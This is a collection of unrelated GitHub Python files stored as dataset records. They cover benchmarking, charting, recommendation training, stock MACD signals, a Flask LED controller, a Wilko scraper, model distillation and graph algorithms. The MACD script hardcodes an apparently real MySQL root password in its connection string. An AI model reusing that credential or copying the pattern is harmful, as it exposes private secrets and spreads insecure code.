check_answer(mat_A,mat_B,mat_C):\n answer = np.matmul(mat_A,mat_B)\n comparison = mat_C == answer\n if comparison.all():\n return True\n else:\n return False\n\n\ndef gen_time_results(mat_size,max_cores,no_runs):\n tally = 0 #Tracker of how many calculations are correct\n \n mat_A = np.random.randint(10, size=(mat_size,mat_size))\n mat_B = np.random.randint(10, size=(mat_size,mat_size))\n mat_C = np.zeros((mat_size,mat_size), dtype = int)\n time_mat = []\n for no_cores in range(1,max_cores+1):\n print(f'Running on {no_cores} cores(s)')\n time_mat.append([])\n for _ in range(no_runs):\n result = mat_C\n \n start = time.perf_counter()\n \n processes = []\n \n if __name__ == '__main__':\n for i in range(no_cores):\n param = [round(i * mat_size / no_cores), round((i + 1) * mat_size / no_cores), mat_size, mat_A, mat_B, result]\n p = multiprocessing.Process(target=matrix_mult, args=param)\n p.start()\n processes.append(p)\n\n for process in processes:\n process.join()\n\n finish = time.perf_counter()\n\n\n time_taken = round(finish-start,4)\n\n time_mat[no_cores-1].append(time_taken)\n\n #tally += check_answer(mat_A,mat_B,result)\n return time_mat#, tally\n\n\n\ndef main():\n mat_size = 84000 #chosen to be 8! so the work can be divided up nicely for any number of cores from 1-8\n max_cores = 40\n no_runs = 20 #the code will run on each number of cores this many times\n \n #time_results = gen_time_results(mat_size,max_cores,no_runs)\n\n #no_incorrect = no_runs*max_cores - no_correct\n #print(f'No correct: {no_correct}, No incorrect: {no_incorrect}')\n\n #gen_time_file(time_results)\n\n\nmain()\n \n","repo_name":"dnelson17/BitesizeBytes","sub_path":"LearningFiles/LearningMultiProcessing/Multiprocessing 3 - Matrix Multiplication.py","file_name":"Multiprocessing 3 - Matrix Multiplication.py","file_ext":"py","file_size_in_byte":2606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40763561374","text":"from PyQt6.QtWidgets import QApplication, QMainWindow\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\nfrom matplotlib.figure import Figure\nimport matplotlib.ticker as ticker\nimport matplotlib.font_manager as fm\nimport numpy as np\n\n\nclass Chart(QMainWindow):\n def __init__(self, rowNumber, xValue, chartColor, title, startValue):\n super().__init__()\n self.xAxisValue = xValue\n self.row = rowNumber\n self.color = chartColor\n self.title = title\n self.dataList = []\n self.setWindowTitle(\"Real-time Chart\")\n self.setGeometry(100, 100, 800, 600)\n\n # Create the figure and canvas\n self.figure = Figure()\n self.canvas = FigureCanvas(self.figure)\n self.setCentralWidget(self.canvas)\n\n # Initialize the plot\n self.ax = self.figure.add_subplot(111)\n self.ax.set_xlabel(\"Time (s)\")\n self.ax.set_ylabel(\"Value\")\n self.ax.grid(color='gray', linewidth=0.4) # Set the grid color to white and linewidth to 0.5\n self.ax.set_title(self.title, fontsize=12)\n self.ax.set_facecolor('#353535') # change the background color of the chart\n\n # ------------ make the chart more aesthetic --------------------\n\n # Change font size of x-axis label\n x_label_font = fm.FontProperties(size=10)\n self.ax.set_xlabel(\"Zaman (s)\", fontproperties=x_label_font)\n\n # Change font size of y-axis label\n y_label_font = fm.FontProperties(size=10)\n self.ax.set_ylabel(self.xAxisValue, fontproperties=y_label_font)\n\n # Change font size of x-axis tick labels\n x_tick_font = fm.FontProperties(size=10)\n for tick in self.ax.get_xticklabels():\n tick.set_fontproperties(x_tick_font)\n\n # Change font size of y-axis tick labels\n y_tick_font = fm.FontProperties(size=10)\n for tick in self.ax.get_yticklabels():\n tick.set_fontproperties(y_tick_font)\n # --------------------------------------------------------------\n\n # Make the gap between the values shown on the y-axis '10\n # TODO: multiplelocator'ı dynamic olarak güncelle\n #self.ax.yaxis.set_major_locator(ticker.MultipleLocator(150))\n\n # change the line color and width\n self.line, = self.ax.plot([], [], self.color, linewidth=2)\n self.ax.set_ylim([0, 1000]) # set y-axis limits #TODO: max limit 800 olmak zorunda değil bunu değiştir\n\n # draw the initial plot\n self.canvas.draw()\n\n def update_plot(self, new_data, blist):\n\n # Read the next value from the CSV file and update the plot\n try:\n\n value = float(new_data.strip())\n blist.append(value)\n self.line.set_xdata(range(len(self.line.get_ydata()) + 1))\n self.line.set_ydata(list(self.line.get_ydata()) + [value])\n # self.line.set_xdata(range(len(self.dataList)))\n # self.line.set_ydata(self.dataList)\n\n # y_min = min(self.dataList) - 50 if min(self.dataList) > 50 else 0\n # y_max = max(self.dataList) + 50\n #average =\n # TODO: optimizasyon\n if 0 < value < 10:\n y_min = min(self.line.get_ydata()) - 1 if min(self.line.get_ydata()) > 5 else 0\n y_max = max(self.line.get_ydata()) + 1\n else:\n y_min = min(self.line.get_ydata()) - 30 if min(self.line.get_ydata()) > 30 else 0\n y_max = max(self.line.get_ydata()) + 30\n self.ax.set_ylim(y_min, y_max)\n\n self.ax.relim()\n self.ax.autoscale_view()\n\n # Fill the area below the curve with a green color\n # lower_curve = [0] * len(self.dataList)\n # self.ax.fill_between(range(len(self.dataList)), self.dataList, y2=lower_curve, color=self.color, alpha=0.1)\n lower_curve = [0] * len(self.line.get_ydata())\n self.ax.fill_between(range(len(self.line.get_ydata())), self.line.get_ydata(), y2=lower_curve,\n color=self.color, alpha=0.1)\n\n self.canvas.draw()\n\n except Exception as e:\n print(f\"Error updating plot: {e}\")\n\n","repo_name":"BerraUrhan/GroundStation","sub_path":"Chart.py","file_name":"Chart.py","file_ext":"py","file_size_in_byte":4216,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"15303722733","text":"\nimport dictdatabase as DDB\nfrom pyinstrument import profiler\nfrom pathlib import Path\nimport random\nimport time\n\nDDB.config.storage_directory = \".ddb_scenario_comparison\"\nPath(DDB.config.storage_directory).mkdir(exist_ok=True)\n\n\n# Create a database with 10_000 entries\nall_users = {}\nfor i in range(10_000):\n print(i)\n user = {\n \"id\": \"\".join(random.choices(\"abcdefghijklmnopqrstuvwxyz0123456789\", k=8)),\n \"name\": \"\".join(random.choices(\"abcdefghijklmnopqrstuvwxyz\", k=5)),\n \"surname\": \"\".join(random.choices(\"abcdefghijklmnopqrstuvwxyz\", k=20)),\n \"description\": \"\".join(random.choices(\"abcdefghij\\\"klmnopqrst😁uvwxyz\\\\ \", k=5000)),\n \"age\": random.randint(0, 100),\n }\n all_users[user[\"id\"]] = user\n DDB.at(\"users_dir\", user[\"id\"]).create(user)\nDDB.at(\"users\").create(all_users)\n\n\n################################################################################\n#### Test read from directory\n\n\n# 06.11.22: 2695ms\nt1 = time.monotonic()\nwith profiler.Profiler() as p:\n DDB.at(\"users_dir/*\").read()\np.open_in_browser()\nprint(\"Read all users from directory:\", time.monotonic() - t1)\n\n\n################################################################################\n#### Test read from single file\n\n\n# 06.11.22: 181ms\nt1 = time.monotonic()\nDDB.at(\"users\").read()\nprint(\"Read all users from single file:\", time.monotonic() - t1)\n","repo_name":"mkrd/DictDataBase","sub_path":"scenario_comparison.py","file_name":"scenario_comparison.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":198,"dataset":"github-code","pt":"32"} +{"seq_id":"16246056714","text":"from pyspark import SparkContext, SparkConf\nfrom pyspark.ml.evaluation import RegressionEvaluator\nfrom pyspark.ml.recommendation import ALS\nfrom pyspark.sql import Row\nfrom pyspark import SparkContext\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.types import *\nfrom pyspark.sql.functions import asc, desc\nfrom pyspark.ml.feature import StringIndexer\n\nconf = SparkConf().setAppName(\"project\")\\\n .set('spark.executor.memory', '12G')\\\n .set('spark.driver.memory', '10G')\\\n .set('spark.executor.core', 6)\\\n .set(\"spark.serializer\", \"org.apache.spark.serializer.KryoSerializer\")\\\n .set(\"spark.default.parallelism\", 6)\nsc = SparkContext(conf=conf)\nsc.setLogLevel(\"OFF\")\nss = SparkSession.builder.getOrCreate()\n\nkindle_raw = sc.textFile(\"./Data/ratings_Kindle_Store.csv\")\nkindle_ratings = kindle_raw.map(lambda x: x.split(','))\\\n .map(lambda x: Row(userId=str(x[0]), itemId=str(x[1]),\n rating=float(x[2])))\n\nratings_df = ss.createDataFrame(kindle_ratings).persist()\n\ndef indexStringColumns(df, cols):\n newdf = df\n \n for c in cols:\n si = StringIndexer(inputCol=c, outputCol=c+\"-num\")\n sm = si.fit(newdf) \n newdf = sm.transform(newdf).drop(c)\n newdf = newdf.withColumnRenamed(c+\"-num\", c)\n return newdf\n\nratings_df = indexStringColumns(ratings_df, [\"userId\", \"itemId\"]).persist()\ntrain, valid, test = ratings_df.randomSplit([0.7, 0.1, 0.2], 10)\n\nfrom pyspark.ml.evaluation import RegressionEvaluator\n\nsc.setCheckpointDir('checkpoint/')\nevaluator = RegressionEvaluator(metricName='rmse', labelCol='rating',\n predictionCol='prediction')\n\ndef compute_rmse(model, data):\n predictions = model.transform(data)\n rmse = evaluator.evaluate(predictions)\n print(\"Root mean square = \", str(rmse))\n return rmse\n\nals = ALS(maxIter=3, regParam=0.05, numUserBlocks=10, numItemBlocks=10, \n implicitPrefs=False, alpha=1.0, userCol='userId', itemCol='itemId',\n seed=1, ratingCol='rating', nonnegative=True, coldStartStrategy=\"drop\",\n checkpointInterval=10, intermediateStorageLevel=\"MEMORY_AND_DISK\",\n finalStorageLevel=\"MEMORY_AND_DISK\")\n\nmodel = als.fit(train)\nprint(compute_rmse(model, valid))\n","repo_name":"jwang917/msds697_reconmendation_system","sub_path":"kindle_rating.py","file_name":"kindle_rating.py","file_ext":"py","file_size_in_byte":2349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"43584429788","text":"import sqlalchemy\nimport pymysql\nimport pandas as pd\nimport requests\nimport numpy as np\nimport ta\n\npymysql.install_as_MySQLdb()\nengine = sqlalchemy.create_engine('mysql://root:Tdan2118!@127.0.0.1:3306/')\n\n#getTables() is a method that takes the etf as an string input and retrieves price data from MySQL for the etf you pass\n# in, returning a dataframe object\n\ndef getTables(etf):\n #In order to communicate to MySQL from Python script, you must use string with 3 quotes\n mySQlquery = f\"\"\"SELECT table_name FROM information_schema.tables WHERE table_schema ='{etf}'\"\"\"\n df = pd.read_sql(mySQlquery, engine)\n #this next statement is necessary for the getPrices method below, we are creating a new column named Schema in our\n #our data frame\n df['Schema'] = etf\n return df\n\n\n#this getPrices() method takes a dataframe object as a parameter and traverses through the matching SQL schema to get\n# price data for each stock in the SQL schema\n\ndef getPrices(etf):\n priceList = []\n #loop that communicates with MySQL and traverses through the schemas and tables for the ticker that you choose\n for table, schema in zip(etf.TABLE_NAME, etf.Schema):\n #must use the special quotes inside the formatted string in order to communicate with MySQL\n #We are adding the closing prices stored in MySQL database to the empty priceList\n mySQLdata = schema+'.'+f'`{table}`'\n priceList.append(pd.read_sql(f\"SELECT Date, Close FROM {mySQLdata}\", engine))\n return priceList\n\n#this MACDindicator() method takes a dataframe as input and uses Python's technical analysis library to add new columns\n# to our dataframe, then uses the MACD methods to compare subsequent rows in our dataframe, this method is called upon in the\n# applyMACD() method below\n\ndef MACDindicator(priceFrame):\n priceFrame['MACD_value']= ta.trend.macd_diff(priceFrame.Close)\n priceFrame['MACD decision']= np.where((priceFrame.MACD_value > 0) & (priceFrame.MACD_value > priceFrame.MACD_value.shift(1)),True, False)\n\n\ndef applyMACD(etf):\n prices=getPrices(etf)\n for frame in prices:\n MACDindicator(frame)\n return prices\n\n\ndef main():\n userETF = input(\"Choose from the following ETFS ( XSD, XLE, XLF): \")\n userETF = userETF.upper()\n userFrame = getTables(userETF)\n print(userFrame)\n userStock = input(\"Choose a stock from the {} ETF: \".format(userETF))\n userStock = userStock.upper()\n frameIndex= userFrame.index[userFrame[\"TABLE_NAME\"] == userStock]\n frameINT= frameIndex[0]\n\n print(\"Here are the MACD buying signals for the stock {}: \".format(userStock), applyMACD(userFrame)[frameINT])\n\n\nif __name__ == '__main__':\n main()\n\n\n","repo_name":"Only1abu/inflationproject","sub_path":"src/inflationProjectMain.py","file_name":"inflationProjectMain.py","file_ext":"py","file_size_in_byte":2677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1513281796","text":"import hwtypes as ht\nimport magma as m\n\n\nclass SB_IO(m.Circuit):\n io = m.IO(\n PACKAGE_PIN=m.In(m.Bit), # should be inout\n CLOCK_ENABLE=m.In(m.Bit),\n INPUT_CLOCK=m.In(m.Bit),\n OUTPUT_CLOCK=m.In(m.Bit),\n OUTPUT_ENABLE=m.In(m.Bit),\n LATCH_INPUT_VALUE=m.In(m.Bit),\n D_IN_0=m.In(m.Bit), # rising\n D_IN_1=m.In(m.Bit), # falling\n D_OUT_0=m.Out(m.Bit), # rising\n D_OUT_1=m.Out(m.Bit) # falling\n )\n param_types = {\"PIN_TYPE\": ht.BitVector[4]}\n\n#module top (input PIO1_02, output D1);\n#wire y;\n#SB_IO #(.PIN_TYPE(6'b00_0000)) in ( .PACKAGE_PIN(PIO1_02), .D_IN_0(y) );\n#SB_IO #(.PIN_TYPE(6'b01_0110)) out ( .PACKAGE_PIN(D1), .D_OUT_0(y) );\n#endmodule\n\n","repo_name":"phanrahan/mantle2","sub_path":"mantle/lattice/ice40/IOB.py","file_name":"IOB.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28627136617","text":"from flask import Flask, render_template, request\nimport RPi.GPIO as GPIO\nimport time\n\n\napp = Flask(__name__, static_url_path='/static')\n#app = Flask(__name__)\n\n#-------------------------\nGPIO.setmode(GPIO.BCM)\nledNumber = 21\nGPIO.setup(ledNumber, GPIO.OUT)\n#-------------------------\nprint(\"Running\")\n\n@app.route('/')\ndef index():\n print('Running... Home')\n return render_template('index.html')\n\n@app.route('/ledOFF')\ndef LedOff():\n print('Running... Off')\n GPIO.output(ledNumber,GPIO.LOW)\n return 'LED off'\n\n@app.route('/ledON')\ndef LedOn():\n print('Running... On')\n GPIO.output(ledNumber,GPIO.HIGH)\n return 'LED on'\n\n\n\nif __name__ == '__main__':\n app.run(debug=True, host='0.0.0.0')\n","repo_name":"AriGlenn/RaspberryPi_LED","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20537561667","text":"\"\"\"\r\nOriginal ticket: https://www.assembla.com/spaces/competitormonitor/tickets/4958-e-bedding-%7C-wilko-%7C-new-site/details#\r\nThis spider is set to extract all items from the Bedding category.\r\n\"\"\"\r\nimport re\r\nimport json\r\nimport urllib\r\nfrom decimal import Decimal\r\n\r\nfrom scrapy.http import Request\r\nfrom scrapy.spider import BaseSpider\r\ntry:\r\n from scrapy.selector import Selector\r\nexcept:\r\n from scrapy.selector import HtmlXPathSelector as Selector\r\n\r\nfrom product_spiders.items import Product, ProductLoaderWithNameStrip as ProductLoader\r\n\r\n\r\nclass EBeddingWilkoSpider(BaseSpider):\r\n name = 'ebedding-wilko.com'\r\n allowed_domains = ['wilko.com', 'fsm4.attraqt.com']\r\n start_urls = ['http://www.wilko.com/home-living/bedding/icat/sheetsandbedding']\r\n\r\n def parse(self, response):\r\n categories = response.xpath('//ul[@id=\"categoryNavigation\"]/li/ul/li/a/@href').extract()\r\n for url in categories:\r\n yield Request(response.urljoin(url))\r\n\r\n category_tree = response.xpath('//input[@data-esp-category-tree]/@value').extract()\r\n if category_tree:\r\n category_tree = [c for c in category_tree[0].split('|') if c]\r\n category_tree = '/'.join(category_tree)\r\n url = ('http://fsm4.attraqt.com/zones-js.aspx?version=2.23.2&siteId=80a8c829-e1d6-468e-b9f3-1d43e749feda'\r\n '&UID=00717a5a-b291-a668-8d33-72965e152c82&SID=b05ef0cd-d07b-0229-c859-e5c54632099f'\r\n '&pageurl={page_url}&zone0=category&tracking=203-1036-20495&facetmode=data&mergehash=true'\r\n '¤cy=GBP&config_categorytree={config_categorytree}&config_category={config_category}'\r\n '&config_language=en&config_fsm_sid=b05ef0cd-d07b-0229-c859-e5c54632099f&config_fsm_returnuser=1'\r\n '&config_fsm_currentvisit=10%2F06%2F2016&config_fsm_visitcount=2&config_fsm_lastvisit=09%2F06%2F2016')\r\n yield Request(url.format(page_url=urllib.quote_plus(response.url),\r\n config_categorytree=urllib.quote_plus(category_tree),\r\n config_category=category_tree.split('/')[-1]),\r\n meta={'config_categorytree': category_tree,\r\n 'url': response.url},\r\n callback=self.parse_list)\r\n\r\n def parse_list(self, response):\r\n data = re.search('LM\\.buildZone\\((.*)\\);', response.body).group(1)\r\n data = json.loads(data)\r\n\r\n sel = Selector(text=data['html'])\r\n\r\n pages = sel.xpath('//span[@class=\"pagnNumbers\"]/a/@data-page').extract()\r\n url = ('http://fsm4.attraqt.com/zones-js.aspx?version=2.23.2&siteId=80a8c829-e1d6-468e-b9f3-1d43e749feda'\r\n '&UID=00717a5a-b291-a668-8d33-72965e152c82&SID=b05ef0cd-d07b-0229-c859-e5c54632099f'\r\n '&pageurl={page_url}%23esp_pg%3D{pagenum}&zone0=category&tracking=203-1036-20495&facetmode=data&mergehash=true'\r\n '¤cy=GBP&config_categorytree={config_categorytree}&config_category={config_category}'\r\n '&config_language=en&config_fsm_sid=b05ef0cd-d07b-0229-c859-e5c54632099f&config_fsm_returnuser=1'\r\n '&config_fsm_currentvisit=10%2F06%2F2016&config_fsm_visitcount=2&config_fsm_lastvisit=09%2F06%2F2016')\r\n for page in pages:\r\n yield Request(url.format(page_url=urllib.quote_plus(response.meta['url']),\r\n config_categorytree=urllib.quote_plus(response.meta['config_categorytree']),\r\n config_category=response.meta['config_categorytree'].split('/')[-1],\r\n pagenum=page),\r\n meta=response.meta,\r\n callback=self.parse_list)\r\n\r\n products = sel.xpath('//input[@name=\"invt\"]/@value').extract()\r\n for prod_id in products:\r\n yield Request('http://www.wilko.com/invt/{}'.format(prod_id), callback=self.parse_product)\r\n\r\n def parse_product(self, response):\r\n loader = ProductLoader(item=Product(), response=response)\r\n # name\r\n name = response.xpath('//h1[@class=\"prod-name\"]/text()').extract()\r\n name = name[0].strip()\r\n loader.add_value('name', name)\r\n\r\n # price\r\n price = response.xpath('//span[@itemprop=\"price\"]/text()').extract()\r\n loader.add_value('price', price)\r\n\r\n # sku\r\n sku = response.xpath('//meta[@itemprop=\"sku\"]/@content').extract()\r\n loader.add_value('sku', sku)\r\n loader.add_value('identifier', sku)\r\n\r\n # category\r\n categories = response.xpath('//a[@class=\"crumbtrail-anchor\"]/text()')[1:].extract()\r\n for category in categories:\r\n loader.add_value('category', category)\r\n\r\n # product image\r\n image_url = response.xpath('//meta[@property=\"og:image\"]/@content').extract()\r\n if image_url:\r\n loader.add_value('image_url', image_url)\r\n # url\r\n loader.add_value('url', response.url)\r\n # brand\r\n loader.add_xpath('brand', '//div[@itemprop=\"brand\"]/text()')\r\n # stock\r\n out_of_stock = response.xpath('//div[@class=\"out-of-stock\"]')\r\n if out_of_stock:\r\n loader.add_value('stock', 0)\r\n # shipping cost\r\n loader.add_value('shipping_cost', Decimal('4.00'))\r\n\r\n yield loader.load_item()\r\n\r\n","repo_name":"Godsoo/scraping","sub_path":"e-commerce/CompetitorMonitor/product_spiders/spiders/ebedding/wilko.py","file_name":"wilko.py","file_ext":"py","file_size_in_byte":5430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23886366702","text":"# ============= train.py ==================\r\n# init command: torchrun --nproc_per_node=1 train.py\r\nimport logging, wandb, torch\r\nimport torch.distributed as dist, torch.nn.functional as F, torch.nn as nn\r\nimport pandas as pd, numpy as np\r\nfrom torch.utils.data import Dataset, DataLoader\r\n\r\nfrom types import SimpleNamespace\r\nfrom tqdm import tqdm\r\nfrom pathlib import Path\r\n\r\nfrom models import getModels\r\nfrom losses import DistillationLoss\r\nfrom datasets import load_dataset\r\nfrom schedulers import CosineAnnealingWarmUpRestarts\r\nfrom utils import count_parameters, AverageMeter, TqdmLoggingHandler\r\n\r\ndef run_epoch(model, optimizer, criterion, epoch, mode, **kwargs):\r\n loss_sum = acc = size = 0\r\n loader = kwargs['train_loader' if mode == 'train' else 'valid_loader']\r\n if len(loader) == 0:\r\n return\r\n log_interval = len(loader) // 8\r\n for data in tqdm(loader):\r\n x, y = data\r\n x = x.to(local_rank)\r\n y = y.to(local_rank)\r\n\r\n optimizer.zero_grad()\r\n out = model(x)\r\n # if config.mode == 'pretrain': # for NLP pretrain\r\n # y = model.emb(y)\r\n loss = criterion(x, out, y)\r\n if mode == 'train':\r\n loss.backward()\r\n optimizer.step()\r\n loss_sum += loss.item()\r\n if config.mode == 'finetune':\r\n acc += torch.count_nonzero(out.argmax(axis=-1) == y).item()\r\n size += len(x)\r\n if local_rank == 0 and step.update() % log_interval == 0:\r\n wandb.log({'loss': loss}, step=step.count)\r\n if mode == 'valid' and step.count % 8 == 0:\r\n break\r\n \r\n loss_mean = loss_sum / len(loader)\r\n logging.info(f\"Loss: {loss_mean}, {mode}_acc: {acc / size}\")\r\n if local_rank == 0:\r\n wandb.log({f'{mode}_loss': loss_mean, f'{mode}_acc': acc / size,\r\n 'lr': optimizer.param_groups[0]['lr'], 'epoch': epoch}, step=step.count)\r\n\r\ndef train(config):\r\n Path(f\"checkpoints/{config.name}\").mkdir(exist_ok=True)\r\n logging.info(f\"[ {config.mode} begin. ]\")\r\n teacher_model, model = getModels(config.mode)\r\n teacher_model.to(local_rank)\r\n teacher_model.load_state_dict(torch.load('checkpoints/vit.pkl'))\r\n teacher_model.eval()\r\n model.load_state_dict(torch.load(config.load_from)) if config.load_from else None\r\n model.head.fc = nn.Linear(1280, 1000 if config.mode == 'pretrain' else 102)\r\n model.to(local_rank)\r\n if local_rank == 0:\r\n wandb.init(project=\"Deepest\", name=f\"{config.name}_{config.mode}\")\r\n wandb.watch(model)\r\n wandb.config.update(config)\r\n optimizer = config.optimizer(model.parameters(), lr=config.lr, weight_decay=config.weight_decay)\r\n # scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=config.step_size, gamma=0.1)\r\n scheduler = config.scheduler(optimizer, config.T0, T_up = 1, eta_max=config.eta_max)\r\n # scheduler = config.scheduler(optimizer, config.step_size)\r\n criterion = config.criterion\r\n criterion = DistillationLoss(criterion, teacher_model, 'soft', config.alpha, 1.0)\r\n\r\n train_dataset, valid_dataset, test_dataset = load_dataset(config.mode)\r\n logging.info(f'Loading data is finished! train: {len(train_dataset)}, valid: {len(valid_dataset)}')\r\n train_sampler = torch.utils.data.distributed.DistributedSampler(train_dataset)\r\n valid_sampler = torch.utils.data.distributed.DistributedSampler(valid_dataset)\r\n train_loader = DataLoader(dataset=train_dataset, sampler=train_sampler, shuffle=False, batch_size=config.batch_size // world_size, num_workers=2)\r\n valid_loader = DataLoader(dataset=valid_dataset, sampler=valid_sampler, shuffle=False, batch_size=config.batch_size // world_size, num_workers=2)\r\n for epoch in range(1, 1 + config.max_epoch):\r\n logging.info(f\"Epoch {epoch}\")\r\n train_sampler.set_epoch(epoch)\r\n valid_sampler.set_epoch(epoch)\r\n\r\n model.train()\r\n run_epoch(mode='train', **locals())\r\n\r\n model.eval()\r\n with torch.no_grad():\r\n run_epoch(mode='valid', **locals())\r\n \r\n scheduler.step()\r\n if local_rank == 0:\r\n torch.save(model.state_dict(), f'checkpoints/{config.name}/{config.mode}_{epoch}.pkl')\r\n\r\n if test_dataset is not None:\r\n logging.info(f'Test begin! test: {len(test_dataset)}')\r\n valid_dataset = test_dataset\r\n valid_sampler = torch.utils.data.distributed.DistributedSampler(valid_dataset)\r\n valid_loader = DataLoader(dataset=valid_dataset, sampler=valid_sampler, shuffle=False, batch_size=config.batch_size // world_size, num_workers=world_size << 2)\r\n model.eval()\r\n with torch.no_grad():\r\n run_epoch(mode='test', **locals())\r\n if local_rank == 0:\r\n torch.save(model.state_dict(), f'checkpoints/{config.name}/{config.mode}.pkl')\r\n wandb.finish()\r\n dist.barrier()\r\n\r\nif __name__ == \"__main__\":\r\n dist.init_process_group(backend=\"nccl\")\r\n local_rank = dist.get_rank()\r\n world_size = dist.get_world_size()\r\n \r\n logging.basicConfig(\r\n format=\"%(asctime)s - %(levelname)s - %(name)s - %(message)s\",\r\n datefmt=\"%m/%d/%Y %H:%M:%S\",\r\n level=logging.INFO if local_rank == 0 else logging.WARNING,\r\n handlers=[TqdmLoggingHandler()])\r\n logging.info(f\"Training begin. world_size: {world_size}\")\r\n\r\n config = SimpleNamespace()\r\n config.name = \"rexnet_100_soft\"\r\n # config.max_epoch = 100\r\n # config.batch_size = 64\r\n # config.lr = 1e-1\r\n # config.optimizer = torch.optim.SGD\r\n\r\n # config.step_size = 30\r\n # config.scheduler = torch.optim.lr_scheduler.StepLR\r\n config.max_epoch = 20\r\n config.batch_size = 64\r\n config.lr = 1e-9\r\n config.optimizer = torch.optim.AdamW\r\n\r\n config.scheduler = CosineAnnealingWarmUpRestarts\r\n config.T0 = 20\r\n config.eta_max = 5e-3\r\n config.weight_decay = 1e-4\r\n config.smoothing = 0.1\r\n config.alpha = 0.5\r\n config.criterion = nn.CrossEntropyLoss(label_smoothing=config.smoothing)\r\n config.mode = ['pretrain', 'finetune'][0]\r\n config.load_from = \"\"\r\n step = AverageMeter()\r\n # train(config)\r\n \r\n # config.max_epoch = 100\r\n # config.batch_size = 64\r\n # config.lr = 1e-1\r\n # config.optimizer = torch.optim.SGD\r\n\r\n # config.step_size = 30\r\n # config.scheduler = torch.optim.lr_scheduler.StepLR\r\n config.max_epoch = 20\r\n config.batch_size = 64\r\n config.lr = 1e-9\r\n config.optimizer = torch.optim.AdamW\r\n\r\n config.scheduler = CosineAnnealingWarmUpRestarts\r\n config.T0 = 20\r\n config.eta_max = 5e-3\r\n config.weight_decay = 1e-4\r\n config.smoothing = 0.1\r\n config.alpha = 0.5\r\n config.criterion = nn.CrossEntropyLoss(label_smoothing=config.smoothing)\r\n config.mode = ['pretrain', 'finetune'][1]\r\n config.load_from = \"checkpoints/rexnet_100/pretrain.pkl\"\r\n config.load_from = \"\"\r\n step = AverageMeter()\r\n train(config)","repo_name":"MilkClouds/Quest1","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"19126210124","text":"from collections import deque\nnode: str = 'a'\nunweighted_graph = { 'a': ['b', 'd', 'e', 'c', 'z'],\n 'b': ['d', 'e'],\n 'd': ['e'],\n 'e': ['d'],\n 'c': ['f', 'g'],\n 'f': ['g'],\n 'g': ['f'],\n 'z': ['w'],\n 'w': ['l'],\n 'l': [ ] }\n\nweighted_graph = {\n 'a': {\n 'b':4,\n 'c':3\n },\n 'b':{\n 'd':1\n },\n 'c':{\n 'b':1,\n 'd':5\n },\n 'd':{}\n}\ncosts = {\n 'b':100,\n 'c':100,\n 'd': 100\n}\n\nparents = {\n 'b':'a',\n 'c':'a',\n 'd':None\n}\ndef bfs(value:str, graph: dict):\n array = []\n array.append(value)\n queue = deque()\n queue += graph[value]\n duplicates = []\n while queue:\n value = queue.popleft()\n if not value in duplicates:\n duplicates.append(value)\n array.append(value)\n queue += graph[value]\n return array\ndef print_bfs(func):\n array = func\n for i in array:\n if i == array[-1]:\n print(f'{i}.')\n else:\n print(f'{i}->', end='')\nprint_bfs(bfs(node, unweighted_graph))\n\nvisited = set()\narray = []\ndef dfs(visited, graph, node):\n if node not in visited:\n visited.add(node)\n array.append(node)\n for neighbor in graph[node]:\n dfs(visited, graph, neighbor)\n return array\n\ndef print_dfs(func):\n array = func(visited, unweighted_graph, node)\n with open('file.txt', 'w') as file:\n for i in array:\n if i == array[-1]:\n file.write(f'{i}.')\n else:\n file.write(f'{i}->')\nprint_dfs(dfs)\n\ndef dijkstra():\n head = 'a'\n def find_lowest_cost_node():\n lowest_cost = 100000\n lowest_cost_node = None\n for node in weighted_graph[head]:\n cost = weighted_graph[head][node]\n if cost < lowest_cost and node not in processed:\n lowest_cost = cost\n lowest_cost_node = node\n return lowest_cost_node\n processed = []\n node = find_lowest_cost_node()\n while node not in processed and node != None:\n cost = weighted_graph[head][node]\n neighbors = weighted_graph[node]\n for n in neighbors:\n new_cost = cost + neighbors[n]\n if costs[n] > new_cost:\n costs[n] = new_cost\n parents[n] = node\n processed.append(node)\n node = find_lowest_cost_node()\n status = True\n value = 'd'\n array_for_print = []\n while status:\n if value != head:\n array_for_print.append(value)\n value = parents[value]\n else:\n array_for_print.append(head)\n status = False\n for i in array_for_print[::-1]:\n if i == 'd':\n print(f'{i}={costs[i]}')\n else:\n print(f'{i}->', end='')\n\ndijkstra()","repo_name":"IgorKireev/lab_py","sub_path":"Dijkstra's algorithm, bfs, dfs/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70681880090","text":"'''\nCreated on 31. jan. 2018\n\n@author: ELP\n'''\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\ndf = pd.read_csv('q_mca048_Opo.csv',sep=';')\ndf = df[df.Q_m3_s >= 0]\ndf.Time = pd.to_datetime(df['Time'], format='%d.%m.%y %H:%M') \ndf = df.sort_values('Time')\n\nfig, (ax, ax2) = plt.subplots(2, 1, sharey=False,figsize = (10,6))\n\nax.plot(df.Time.values, df.Q_m3_s.values,'o',markersize = 1) \nax2.plot(df.Time.values, df.h_m.values,'o',markersize = 1) 